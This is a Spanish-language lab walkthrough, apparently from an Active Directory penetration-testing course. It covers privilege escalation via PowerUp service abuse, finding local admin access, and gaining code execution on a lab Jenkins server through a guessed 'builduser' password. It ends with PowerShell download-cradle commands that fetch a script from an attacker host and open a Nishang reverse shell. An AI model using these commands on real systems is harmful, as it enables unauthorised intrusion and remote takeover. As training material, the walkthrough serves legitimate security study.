# Learning 5 * Exploit a service on dcorp-studentx and elevate privileges to local administrator. * Identify a machine in the domain where studentx has local administrative access. * Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on 172.16.3.11 - the dcorp-ci server. ``` . .\PowerUp.ps1 Get-ServiceUnquoted ``` Primero, enumeremos todos los servicios con Ruta sin comillas. Podemos usar el módulo Powerup from PowerSploit para enumerar dichos servicios: ``` Get-ServiceUnquoted ``` ![](https://i.imgur.com/bgAxda1.png) Bien, también enumeremos los servicios donde la corriente puede hacer cambios en el servicio binario: ``` Get-ModifiableServiceFile -Verbose ``` ![](https://i.imgur.com/zO3sAnj.png) También enumeremos los servicios con permisos de servicio débiles: ![](https://i.imgur.com/HoNHqdS.png) Usemos la función de abuso para Get-ModificableService y agreguemos nuestro usuario de dominio actual al local grupo de administradores ``` Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\student23' ``` ![](https://i.imgur.com/GfvFctV.png) Podemos ver que dcorp\studentx es un administrador local ahora. ¡Simplemente cierre sesión y vuelva a iniciar sesión y tendremos privilegios de administrador local! Ahora, para identificar una máquina en el dominio donde studentx tiene acceso administrativo local: ``` Find-LocalAdminAccess -Verbose ``` ![](https://i.imgur.com/X0r1xBr.png) Entonces, studentx tiene acceso administrativo en dcorp-adminsrv y algunas máquinas de estudiantes. Vamos a ignorar las máquinas de los estudiantes. Podemos confirmar el acceso administrativo ejecutando un PowerShell Remoting sesión en la máquina: ``` Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local ``` ![](https://i.imgur.com/2wz8sdm.png) ![](https://i.imgur.com/uGFBpdu.png) Ahora, probemos con la instancia de Jenkins. Para poder ejecutar comandos en el servidor Jenkins sin acceso de administrador, debemos tener privilegios para configurar compilaciones. Tenemos una instancia de Jenkins en dcorp-ci (http://172.16.3.11:8080) Si vamos a "Personas" página de Jenkins podemos ver los usuarios presentes en la instancia de Jenkins. ![](https://i.imgur.com/qbOFyk1.png) Dado que Jenkins no tiene una política de contraseñas, muchos usuarios usan el nombre de usuario como contraseña incluso en las instancias disponibles públicamente (http://www.labofapenetrationtester.com/2015/11/week-of-continuous-intrusion-day-1.html). Al probar manualmente los nombres de usuario como contraseñas, podemos identificar que el usuario builduser tiene una contraseña builduser. El usuario builduser tiene la capacidad de configurar compilaciones y agregar pasos de compilación que nos ayudarán a ejecutar comandos. http://172.16.3.11:8080/job/project0/configure ![](https://i.imgur.com/w9LKTyv.png) http://172.16.3.11:8080/job/project0/1/console ![](https://i.imgur.com/oto1SS1.png) Use el parámetro encodedcomand de PowerShell para usar un shell inverso codificado (o use la cuna de ejecución de descarga) en el paso de compilación de Jenkins. Puede usar cualquier shell inverso, a continuación estamos usando Invoke-PowerShellTcp de Nishang. Si usa Invoke-PowerShellTcp, asegúrese de incluir la llamada a la función en el script `Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443` o añádalo al final del comando en Jenkins. ``` powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.X/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.23 -Port 443 ``` ![](https://i.imgur.com/aFH4Ccd.png) ``` powershell.exe iex (iwr http://172.16.100.X/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port443 ``` Guarde la configuración, inicie Build y en el oyente powercat (o cualquier otro):